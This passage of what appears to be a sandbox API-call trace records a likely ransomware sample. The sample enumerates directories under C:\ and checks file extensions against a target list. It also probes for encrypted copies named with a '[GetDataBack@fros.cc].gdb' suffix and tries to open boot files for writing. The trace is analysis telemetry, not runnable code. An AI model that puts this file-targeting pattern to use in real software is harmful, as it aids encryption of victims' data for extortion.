lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.893] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.893] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.893] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.894] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.894] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0113.894] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.894] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0113.894] FindClose (in: hFindFile=0x52c528 | out: hFindFile=0x52c528) returned 1 [0113.894] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0 [0113.894] FindClose (in: hFindFile=0x52c4e8 | out: hFindFile=0x52c4e8) returned 1 [0113.894] FindNextFileW (in: hFindFile=0x52c4a8, lpFindFileData=0x6cfa88 | out: lpFindFileData=0x6cfa88) returned 1 [0113.894] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0x52c4e8 [0113.894] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.895] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0 [0113.895] FindClose (in: hFindFile=0x52c4e8 | out: hFindFile=0x52c4e8) returned 1 [0113.895] FindNextFileW (in: hFindFile=0x52c4a8, lpFindFileData=0x6cfa88 | out: lpFindFileData=0x6cfa88) returned 1 [0113.895] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0xffffffff [0113.895] FindNextFileW (in: hFindFile=0x52c4a8, lpFindFileData=0x6cfa88 | out: lpFindFileData=0x6cfa88) returned 1 [0113.895] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 0x52c4e8 [0113.895] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.895] FindNextFileW (in: hFindFile=0x52c4e8, lpFindFileData=0x6cf80c | out: lpFindFileData=0x6cf80c) returned 1 [0113.895] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 0x52c528 [0114.046] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0114.140] FindNextFileW (in: hFindFile=0x52c528, lpFindFileData=0x6cf590 | out: lpFindFileData=0x6cf590) returned 1 [0114.143] FindNextFileW (in: hFindFile=0x52c568, lpFindFileData=0x6cf314 | out: lpFindFileData=0x6cf314) returned 1 [0114.143] FindNextFileW (in: hFindFile=0x52c568, lpFindFileData=0x6cf314 | out: lpFindFileData=0x6cf314) returned 1 Thread: id = 25 os_tid = 0x748 [0115.263] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0115.263] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0115.263] Wow64DisableWow64FsRedirection (in: OldValue=0x2a7fed8 | out: OldValue=0x2a7fed8*=0x0) returned 1 [0115.263] lstrlenW (lpString="kernel32.dll") returned 12 [0115.264] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0115.264] Sleep (dwMilliseconds=0x64) [0115.515] lstrlenW (lpString="BCD") returned 3 [0115.515] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.515] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.515] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.515] lstrlenW (lpString=".doc") returned 4 [0115.515] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".docx") returned 5 [0115.515] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0115.515] lstrlenW (lpString=".pdf") returned 4 [0115.515] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".xls") returned 4 [0115.515] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".xlsx") returned 5 [0115.515] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0115.515] lstrlenW (lpString=".ppt") returned 4 [0115.515] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.515] lstrlenW (lpString=".zip") returned 4 [0115.515] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".rar") returned 4 [0115.515] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".bz2") returned 4 [0115.515] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString=".7z") returned 3 [0115.515] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0115.515] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.515] lstrlenW (lpString=".dbf") returned 4 [0115.515] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0115.515] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.515] lstrlenW (lpString=".1cd") returned 4 [0115.516] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0115.516] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.516] lstrlenW (lpString=".jpg") returned 4 [0115.516] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0115.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.571] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.571] lstrlenW (lpString=".doc") returned 4 [0115.571] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0115.571] lstrlenW (lpString=".docx") returned 5 [0115.571] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0115.571] lstrlenW (lpString=".pdf") returned 4 [0115.571] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0115.571] lstrlenW (lpString=".xls") returned 4 [0115.571] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0115.571] lstrlenW (lpString=".xlsx") returned 5 [0115.571] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0115.572] lstrlenW (lpString=".ppt") returned 4 [0115.572] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.572] lstrlenW (lpString=".zip") returned 4 [0115.572] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString=".rar") returned 4 [0115.572] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString=".bz2") returned 4 [0115.572] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString=".7z") returned 3 [0115.572] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0115.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.572] lstrlenW (lpString=".dbf") returned 4 [0115.572] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.572] lstrlenW (lpString=".1cd") returned 4 [0115.572] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0115.572] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0115.572] lstrlenW (lpString=".jpg") returned 4 [0115.572] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0115.572] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.572] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.572] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.572] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=87616) returned 1 [0115.572] CloseHandle (hObject=0x198) returned 1 [0115.572] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0115.573] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.573] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".doc") returned 4 [0115.573] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString=".docx") returned 5 [0115.573] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.573] lstrlenW (lpString=".pdf") returned 4 [0115.573] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.573] lstrlenW (lpString=".xls") returned 4 [0115.573] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.573] lstrlenW (lpString=".xlsx") returned 5 [0115.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.573] lstrlenW (lpString=".ppt") returned 4 [0115.573] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".zip") returned 4 [0115.573] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.573] lstrlenW (lpString=".rar") returned 4 [0115.573] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.573] lstrlenW (lpString=".bz2") returned 4 [0115.573] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString=".7z") returned 3 [0115.573] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".dbf") returned 4 [0115.573] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".1cd") returned 4 [0115.573] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".jpg") returned 4 [0115.573] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.573] lstrlenW (lpString=".doc") returned 4 [0115.573] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.573] lstrlenW (lpString=".docx") returned 5 [0115.573] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.574] lstrlenW (lpString=".pdf") returned 4 [0115.574] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.574] lstrlenW (lpString=".xls") returned 4 [0115.574] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.574] lstrlenW (lpString=".xlsx") returned 5 [0115.574] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.574] lstrlenW (lpString=".ppt") returned 4 [0115.574] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.574] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.574] lstrlenW (lpString=".zip") returned 4 [0115.574] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.574] lstrlenW (lpString=".rar") returned 4 [0115.574] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.574] lstrlenW (lpString=".bz2") returned 4 [0115.574] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.574] lstrlenW (lpString=".7z") returned 3 [0115.574] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.574] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.574] lstrlenW (lpString=".dbf") returned 4 [0115.574] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.574] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.574] lstrlenW (lpString=".1cd") returned 4 [0115.574] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.574] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0115.574] lstrlenW (lpString=".jpg") returned 4 [0115.574] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.574] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.574] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.574] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.575] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=91712) returned 1 [0115.575] CloseHandle (hObject=0x198) returned 1 [0115.575] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0115.575] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.575] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString=".doc") returned 4 [0115.575] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.575] lstrlenW (lpString=".docx") returned 5 [0115.575] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.575] lstrlenW (lpString=".pdf") returned 4 [0115.575] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.575] lstrlenW (lpString=".xls") returned 4 [0115.575] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.575] lstrlenW (lpString=".xlsx") returned 5 [0115.575] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.575] lstrlenW (lpString=".ppt") returned 4 [0115.575] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString=".zip") returned 4 [0115.575] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.575] lstrlenW (lpString=".rar") returned 4 [0115.575] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.575] lstrlenW (lpString=".bz2") returned 4 [0115.575] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.575] lstrlenW (lpString=".7z") returned 3 [0115.575] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString=".dbf") returned 4 [0115.575] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString=".1cd") returned 4 [0115.575] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.575] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.575] lstrlenW (lpString=".jpg") returned 4 [0115.576] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString=".doc") returned 4 [0115.576] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.576] lstrlenW (lpString=".docx") returned 5 [0115.576] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.576] lstrlenW (lpString=".pdf") returned 4 [0115.576] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.576] lstrlenW (lpString=".xls") returned 4 [0115.576] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.576] lstrlenW (lpString=".xlsx") returned 5 [0115.576] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.576] lstrlenW (lpString=".ppt") returned 4 [0115.576] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString=".zip") returned 4 [0115.576] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.576] lstrlenW (lpString=".rar") returned 4 [0115.576] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.576] lstrlenW (lpString=".bz2") returned 4 [0115.576] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.576] lstrlenW (lpString=".7z") returned 3 [0115.576] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString=".dbf") returned 4 [0115.576] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString=".1cd") returned 4 [0115.576] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.576] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0115.576] lstrlenW (lpString=".jpg") returned 4 [0115.576] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.577] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.577] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.577] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.577] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=94800) returned 1 [0115.577] CloseHandle (hObject=0x198) returned 1 [0115.577] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0115.577] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.577] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.577] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.577] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.577] lstrlenW (lpString=".doc") returned 4 [0115.577] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.577] lstrlenW (lpString=".docx") returned 5 [0115.577] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.577] lstrlenW (lpString=".pdf") returned 4 [0115.577] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.577] lstrlenW (lpString=".xls") returned 4 [0115.577] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.577] lstrlenW (lpString=".xlsx") returned 5 [0115.577] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.577] lstrlenW (lpString=".ppt") returned 4 [0115.577] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.577] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.577] lstrlenW (lpString=".zip") returned 4 [0115.577] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.577] lstrlenW (lpString=".rar") returned 4 [0115.578] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString=".bz2") returned 4 [0115.578] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString=".7z") returned 3 [0115.578] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".dbf") returned 4 [0115.578] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".1cd") returned 4 [0115.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".jpg") returned 4 [0115.578] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".doc") returned 4 [0115.578] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString=".docx") returned 5 [0115.578] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.578] lstrlenW (lpString=".pdf") returned 4 [0115.578] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString=".xls") returned 4 [0115.578] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString=".xlsx") returned 5 [0115.578] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.578] lstrlenW (lpString=".ppt") returned 4 [0115.578] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".zip") returned 4 [0115.578] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString=".rar") returned 4 [0115.578] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.578] lstrlenW (lpString=".bz2") returned 4 [0115.578] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.578] lstrlenW (lpString=".7z") returned 3 [0115.578] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.578] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.578] lstrlenW (lpString=".dbf") returned 4 [0115.579] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.579] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.579] lstrlenW (lpString=".1cd") returned 4 [0115.579] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.579] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0115.579] lstrlenW (lpString=".jpg") returned 4 [0115.579] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.579] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.579] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.579] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.579] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=85056) returned 1 [0115.579] CloseHandle (hObject=0x198) returned 1 [0115.579] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0115.579] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.579] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.579] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.579] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.579] lstrlenW (lpString=".doc") returned 4 [0115.579] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.579] lstrlenW (lpString=".docx") returned 5 [0115.579] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.579] lstrlenW (lpString=".pdf") returned 4 [0115.579] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.579] lstrlenW (lpString=".xls") returned 4 [0115.579] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.579] lstrlenW (lpString=".xlsx") returned 5 [0115.580] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.580] lstrlenW (lpString=".ppt") returned 4 [0115.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".zip") returned 4 [0115.580] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".rar") returned 4 [0115.580] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".bz2") returned 4 [0115.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.580] 